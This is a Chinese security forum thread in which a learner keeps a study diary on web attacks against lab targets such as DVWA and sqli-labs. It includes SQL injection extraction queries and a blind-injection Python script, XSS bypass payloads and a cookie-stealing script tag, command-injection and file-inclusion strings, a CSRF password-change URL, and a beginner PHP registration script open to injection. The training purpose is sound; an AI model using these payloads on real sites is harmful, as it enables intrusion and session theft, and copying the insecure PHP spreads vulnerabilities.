安全矩阵

 找回密码
 立即注册
搜索
楼主: Anatasha

周家敏学习日记

[复制链接]

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-5-5 22:15:07 | 显示全部楼层
本帖最后由 Anatasha 于 2020-5-5 22:18 编辑

sql注入
一、安装sqlmap
1、Windows需要安装python2.7,把之前卸载的2.7版本找回来安装配置好。
2、sqlmap下载网站:http://sqlmap.org/
下载zip压缩包
3、命令行执行sqlmap.py
出现以下界面表示成功


二、sql注入:
1、sql注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

2、sql注入步骤:
(1)寻找注入点,构造特殊的语句
(2)用户构造SQL语句
(3)将SQL语句发送给DBMS数据库
(4)DBMS收到返回的结果,并将该请求解释成机器代码指令,执行必要得到操作
(5)DBMS接受返回结果,处理后,返回给用户
*DBMS:数据库管理系统,是一种操纵和管理数据库的大型软件,是用于建立、使用和维护数据库。它对数据库进行统一的管理控制,以保证数据库的安全性和完整性。

3、sql注入分类:
(1)数字型注入
当输入的参数为整型时,则有可能存在数字型注入漏洞。
假设存在一条 URL 为:HTTP://www.samtrix.com/test.php?id=1
可以做出猜测:SELECT * FROM table WHERE id=1
判断方法:
1.SELECT * FROM table WHERE id=1',
不符合语法,导致出错
2.SELECT * FROM table WHERE id=1 and 1 = 1
语句正确,执行正常,返回的数据正常。
3.SELECT * FROM table WHERE id=1 and 1 = 2
逻辑不对,返回数据与原始请求有差异。
这三步满足基本可判断

(2)字符型注入
数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。
判断方法与上述相似

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-5-8 22:40:50 | 显示全部楼层
PHP语法
一、基础:
1、switch语句:有选择地执行若干代码块,break可以阻止代码继续运行。
例:
<?php
$color="red";
switch ($color)
{
case "red":
   echo "你喜欢的颜色是红色!";
break;
case “green”:
echo "你喜欢的颜色是绿色!";
break;
default:
   echo "你喜欢的颜色是".$color."!";
}
?>

2、while 循环:重复执行代码块,直到指定条件不成立
例:
<?php
$i=1;
while($i<=5)
{
   echo "The number is " . $i . "<br>";
   $i++;
}
?>

3、for循环:预先知道运行次数的循环
例:
<?php
for ($i=1; $i<=5; $i++)
{
echo "The number is " . $i . "<br>";
}
?>

二、php MySQL
1、读取数据:
$sql = "select name,age from biao”;

2、where子句:
$sql = "select * from biao where `姓名` like '%".$username."%'";

3、order by子句:对所选数据进行排序
$sql = "select * from biao order byage"

4、update子句:
$sql = “update biao set age=23 where name=”Tom Holland””;

5、delete子句:
$sql = “delete from biao where name=” TomHolland””;

三、php部分函数:
1、php array函数:访问并操作数组
比如以下比较常见:
array():创建数组
array_chunk():把一个数组分割为新的数组块
array_combine():通过合并两个数组来创建一个新数组
array_intersect_assoc():用于比较数组之间的键名和键值,并返回交集
array_keys():返回数组中所有的键名
……还有更多不那么常见

2、php error:检测并反馈错误,这是很重要的函数,可以对错误进行处理和记录。
例如数据库连接:
<?php
$con=mysqli_connect("localhost","root","","a");
if (!$con)
{
   echo "连接失败: " .mysqli_connect_error();
}
?>
比如以下比较常见:
error_get_last() :获得最后发生的错误
error_log() :向服务器错误记录、文件或远程目标发送一个错误
error_reporting() :规定报告哪个错误

回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-5-12 22:07:59 | 显示全部楼层
本帖最后由 Anatasha 于 2020-5-12 22:09 编辑

用PHP制作登录和注册页面,需要多个页面,包括注册、登录和退出,分几个步骤
如下:
一、连接数据库:(文件名:连接.php)

  1. <?php
  2.     $host = "localhost";
  3.     $userName = "root";
  4.     $password = "";
  5.     $conn = mysqli_connect($host,$userName,$password);
  6.     if(!$conn)
  7.        {
  8.        die("连接失败: " . mysqli_connect_error());
  9.        }
  10. ?>
复制代码

二、注册页面:(文件名:注册.html)

  1. <!doctype html>
  2. <html lang="en">
  3. <head>
  4. <meta charset="utf-8">
  5. <title>注册页面</title>
  6. </head>
  7. <body>
  8. <img style="position:absolute;left:0px;top:0px;width:100%;height:100%;z-Index:-1; border:1px solid blue" src="背景.jpg" />
  9. <form action="注册2.php" method="post">
  10. <center>
  11. </br>
  12. <h1>注册</h1>   
  13. <label for="users">用户名:</label><input type="text" name="users" id="users">
  14. </br>
  15. <label for="pwd">密码:</label><input type="password" name="pwd" id="pwd">
  16. <input type="submit" value="注册" id="tijiao">
  17. </center>
  18. </form>
  19. </body>
  20. </html>
复制代码

视图如下:


三、处理注册结果(文件名:注册2.php)


  1. <?php
  2.     include "./连接.php";

  3.     $users = $_POST["users"];
  4.     $pwd = $_POST["pwd"];

  5.     $sql = "insert into `studerlo`(`name`,`pwd`) values (`$users`,`$pwd`)";   
  6.     $result = mysqli_query($con,$sql);
  7.     if($result){
  8.         echo "<script type='text/javascript'>window.location.href='登录.html'</script>"; //这个代码还没写
  9.     }else{
  10.         echo "<script type='text/javascript'>alert('注册失败!');window.location.href='注册.html'</script>";   
  11.     }
  12. ?>
复制代码

未完待续……(但是这好像有点不太对劲)

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-5-14 22:03:54 | 显示全部楼层
sql显错注入
一、sql注入类型:
1、数字型注入点:
可以猜测sql注入语句:
  1. select * from news where id=1 and 1=1
复制代码


2、字符型注入点:
可以猜测sql注入语句:
  1. select * from news where chr=‘admin’ and 1=1 ’ ’
复制代码
//字符型一般需要使用单引号来闭合。


3、搜索型注入点:
特征:通过搜索框表单提交
可以猜测sql注入语句:
  1. select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=’%1%’
复制代码


二、基本流程
1、判断是否存在注入点:
在URL后添加and 1=1如果正常回显
and 1=2页面不正常
则证明存在注入点
或者直接加 ‘ 看是否报错


2、猜解字段数:
order by +字段数
直到显示报错,得到字段数


3、联合查询找出注入点:
and 1=2 union select 1,2,3,……#
看输出哪一个字段,可以判断输出点


4、查询:
例如上一步输出的字段为2,则:
数据库名:
  1. and 1=2 union select 1, database(),3#
复制代码

表名:
  1. and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='库名'),3#
复制代码

字段:
  1. and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = '库名' and table_name = '表名'),3#
复制代码

数据:
  1. and 1=2 union select 1,(select group_concat(字段1,字段2) from 库名.表名),3#<span style="background-color: rgb(255, 255, 255);"> </span>
复制代码

回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-5-18 22:34:05 | 显示全部楼层
本帖最后由 Anatasha 于 2020-5-18 22:37 编辑

SQL盲注注入——布尔型
一、盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。
      布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据。


二、相关函数:
1、exists():用于检查  子查询是否有返回数据。 结果是 ture或者false
2、ascii():把字符转化成ascii码
3、substr():截取字符串substr(string string,num start,num length),偏移从1开始的 并不是0。
4、sleep(n):将程序挂起一段时间 n为n秒
5、if(expr1,expr2,expr3):判断语句如果第一个语句正确就执行第二个语句如果错误执行第三个语句


三、步骤:
1、判断注入点
比如:注入测试加单引号id=1',会返回不正确页面


2、判断查找的数据库的长度
当前数据库database()的长度大于10,返回true页面,否则FALSE页面


3、爆破数据库名称:
(1)比如:
格式一:http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((SQL语句),1,1))=ASCII%23
          (ASCII :返回的字符的ASCII码;可以根据二分法猜测。)

当猜测第一个数据库名字母时:猜测为s,s的ASCII码为115
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))=115%23


当猜测第二个数据库名字母时:猜测为q,q的ASCII码为113
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 4,1),2,1))=113%23

依次类推


格式二:
当猜测第一个数据库名字母时:猜测为s
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and left(database(),1)='s'  --+

依次类推


(2)可以跑代码,爆破数据库长度和数据库名

import requests
def database_len():
        for i in range(1,10):
                url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
                payload = '''?id=1' and length(database())>%s''' %i
                # print(url+payload+'%23')
                r = requests.get(url+payload+'%23')
                if 'You are in' in r.text:
                        print(i)

                else:
                       #print('false')
                        print('database_length:',i)
                        break

database_len()

def database_name():
        name = ''
        for j in range(1,9):
                for i in 'sqcwertyuioplkjhgfdazxvbnm':
                        url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
                        # print(url+'%23')
                        r = requests.get(url+'%23')
                        if 'You are in' in r.text:
                                name = name+i

                                print(name)

                                break

        print('database_name:',name)

database_name()


回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-7-12 21:32:44 | 显示全部楼层
XSS
一、概念:
XSS攻击:跨站脚本攻击。通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java VBScriptActiveX Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
二、XSS漏洞分类
1、存储型XSS漏洞
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
2、反射型XSS
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
3、DOM型
不经过后端,DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞,dom - xss是通过url传入参数去控制触发的。
三、例子
1、钓鱼攻击
首先,测试管理界面是否存在XSS。
在用户名框中输入
  1. "><script>alert(2)</script>
复制代码
(闭合input标签)
结果,界面弹窗,证明该系统存在XSS注入
接下来针对该漏洞进行修改链接属性实现跳转到钓鱼界面
在username=后面加
  1. "><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='某地址';}</script><a
复制代码
(修改忘记密码a标签的href,使其指向钓鱼网站)
点击忘记密码,进入了钓鱼网站
2、盗取cookie
将js代码
  1. </textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script>
复制代码
发表在文章管理系统的留言板上(该地址指向存放接收信息的服务器上的js路径)
当后台管理员审核留言(或者其他用户查看到该留言)时,触发页面执行js脚本,将浏览器的cookie发送到接收服务器
收到cookie后,手动给浏览器添加对应cookie
实现伪造管理员(用户)登录
四、防御
1.后台过滤长度过滤
2.将用户输入的所有字符都转义为html实体(< ---&lt;)显示,因为xss注入不管是标签注入还是属性注入,都需要<或者引号的支持,和防御sql注入一样,将本次所有的输入替换成value的值就可以

回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-7-14 00:30:27 | 显示全部楼层
命令注入漏洞
我们平常使用的windows系统是可以调用dos命令行窗口进行操作linux系统可以调用bash命令行工具进行操作。
以window系统的dos命令为例,dos命令可以查看本地网络、系统用户、当前目录、字符串查找,也可以复合命令。
一、命令注入漏洞:
1、漏洞原因:
web应用程序有时需要调用一些系统命令的函数,如PHP中的system,exec,shell-exec等等,当用户能够控制这些函数中的参数时,就可以将恶意参系统命令拼接到正常命令中,从而造成命令注入攻击
2、漏洞形成需要同时满足以下三个条件:
使用了内部调用shell的函数(system,exec)
将外界传入的参数传递给内部调用shell的函数
参数中shell的元字符没有被转义
二、命令行注入:
DOS命令——复合命令:
命令拼接&,一次执行拼接命令
ipconfig | find “IPv4”
三、PHP执行命令的函数
system:执行一个外部程序
exec:执行外部程序,并且显示输出
shell_exec:通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
passthru:执行外部程序并且显示原始输出
popen:函数使用 command 参数打开进程文件指针
proc_open:一个php函数,执行一个命令,并且打开用来输入/输出的文件指针。说白了就是可以操作执行服务器命令行。
pcntl_exec:在当前进程空间执行指定程序
四、攻击过程:
构造命令,发送给web应用程序,拼接命令执行注入的命令,回显到网页上。
五、以DVWA——Command Injection为例子:
LOW:
&&可以用来执行多条命令;在参考代码中没有过滤掉任何参数,所以直接输入127.0.0.1&&cat /etc/apache2/apache2.conf可以瞬间执行。
Medium:
中级代码有参数校验,移除了“&&”和“;”
所以输入|| cat /etc/apache2/apache2.conf或者& cat /etc/apache2/apache2.conf即可成功
High:
高级过滤参数较多:
移除的是“| ”而并非“|”,
所以用|cat /etc/apache2/apache2.conf就可以了。
IMPOSSIBLE:
添加tokrn来对付CSRF 跨域请求攻击。还对参数进行真正的验证,只有 ip 参数才能够 ping。所以可以用正则表达式。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-7-15 15:43:18 | 显示全部楼层
存储型XSS漏洞
一、原理:
嵌入到web页面的恶意HTML会被存储到应用服务器端,例如你注册时候将用户昵称设置为XSS恶意代码,那么访问某些页面会显示用户名的时候就会触发恶意代码
攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。
例如在界面文本域输入<h2>12345</h2>、<script>alter(12345)</script>这样的值,如果程序未进行处理,会存储至数据库。下次回显会出现异常界面或弹出异常框,如果进行恶意攻击,可能后果不堪设想。

二、解决存储型XSS漏洞的方法:
第一步,编写过滤器,实现Filter接口;
第二步,继承HttpServletRequestWrapper,重写方法getParameterMap,替换非法字符;
第三步,web.xml注册过滤器.
三、以DVWA中的Stored Cross Site Scripting (XSS)为例子
Low
message一栏输入<script>alert(/xss/)</script>,成功弹框:
[/url]
name一栏前端有字数限制,抓包改为<script>alert(/name/)</script>:
[url=https://image.3001.net/images/20161223/14824827265355.png]

成功弹框:
[/url]

Medium:
1.双写绕过
抓包改name参数为<sc<script>ript>alert(/xss/)</script>:
[url=https://image.3001.net/images/20161223/14824828493990.png]

成功弹框:
[/url]
2.大小写混淆绕过
抓包改name参数为<Script>alert(/xss/)</script>:
[url=https://image.3001.net/images/20161223/14824829148314.png]

成功弹框:
[/url]

High


抓包改name参数为<img src=1 onerror=alert(1)>:
[url=https://image.3001.net/images/20161223/14824830099169.png]

成功弹框:
[url=https://image.3001.net/images/20161223/1482483036879.png][/url]


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-7-16 23:46:55 | 显示全部楼层
文件包含漏洞
一、文件包含:
文件包含是一种很常见的攻击方式,主要是通过修改请求中变量从而访问了用户不应该访问的文件,还可以通过这个漏洞加载不属于本网站的文件等。
FileInclusion,意思是文件包含(漏洞),是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。

二、分类:
LFI:本地文件包含(Local FileInclusion)
RFI:远程文件包含(Remote FileInclusion)

三、相关的函数
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。

四、相关的 php.ini 配置参数
allow_url_fopen= On (允许打开URL文件,预设启用)
allow_url_fopen = Off (禁止打开URL文件)


五、以DVWA——File Inclusion为例子
LOW
源代码:
  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. ?>
复制代码
由此可见,low级别的代码对包含的文件没有进行任何的过滤,这将导致我们可以进行包含任意的文件。
第一步:构造url
  1. http://127.0.0.1:8081/DVWA/vulnerabilities/fi/?page=/etc/shadwn/
复制代码

发生报错,暴露文件的绝对路径
第二步:于是构造绝对路径
  1. http://127.0.0.1:8081/DVWA/vulnerabilities/fi/?page=D:\xampp\xam\htdocs\DVWA\php.ini
复制代码
即可成功读取。


MEDIUM
源代码:
  1. <?php
  2. // The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Input validation
  5. $file = str_replace( array( "http://", "https://" ), "", $file );
  6. $file = str_replace( array( "../", ".."" ), "", $file );
  7. ?>
复制代码
可见,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
因为替换的只是“../”、“..\”,所以对采用绝对路径的方式包含文件是不会受到任何限制的。
所以,绝对路径不受任何影响,可以读取成功。

HIGH
源代码:
  1. <div><?php
  2. </div>// The page we wish to display
  3. $file = $_GET[ 'page' ];
  4. // Input validation
  5. if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
  6.     // This isn't the page we want!
  7.     echo "ERROR: File not found!";
  8.     exit;
  9. }
  10. ?>
复制代码
high级别的代码对包含的文件名进行了限制,必须为file* 或者include.php ,否则会提示Error:File not  found。于是,我们可以利用 file 协议进行绕过。
构造URL:
  1. http://127.0.0.1:8081/DVWA/vulnerabilities/fi/?page=file:///D:/xampp/xam/htdocs/DVWA/php.ini
复制代码
即可成功读取文件

IMPOSSIBLE
Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

8

主题

57

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
 楼主| 发表于 2020-7-17 23:55:05 | 显示全部楼层
CSRF(Cross-site request forgery)
一、原理:
CSRF,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。跟XSS攻击一样,存在巨大的危害性。

二、CSRF攻击攻击原理及过程如下:
WebA为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

三、CSRF漏洞检测:
检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。

四、以DVWA——CSRF的low级别为例子:
1、源代码:
  1. <?php
  2. if( isset( $_GET[ 'Change' ] ) ) {
  3. // Get input
  4.     $pass_new  = $_GET[ 'password_new' ];

  5.     $pass_conf = $_GET[ 'password_conf' ];
  6.     // Do the passwords match?
  7.     if( $pass_new == $pass_conf ) {
  8.         // They do!
  9. <div>        $pass_new = mysql_real_escape_string( $pass_new ); </div><div>
  10. </div>        $pass_new = md5( $pass_new );
  11.         // Update the database
  12.         $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
  13.         $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
  14.         // Feedback for the user
  15.         echo "<pre>Password Changed.</pre>";
  16.     }
  17.     else {
  18.         // Issue with passwords matching
  19.         echo "<pre>Passwords did not match.</pre>";
  20.     }
  21.     mysql_close();
  22. }
  23. ?>
复制代码

从源代码来看,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码。

2、构造url:
  1. <div>http://127.0.0.1:8081/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
  2. </div>
复制代码







但是,页面会出现“密码更改”的信息,这种攻击比较不高明。
所以,在真实情景下,我们也可以通过使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站)。
或者,事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 21:35 , Processed in 0.024941 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表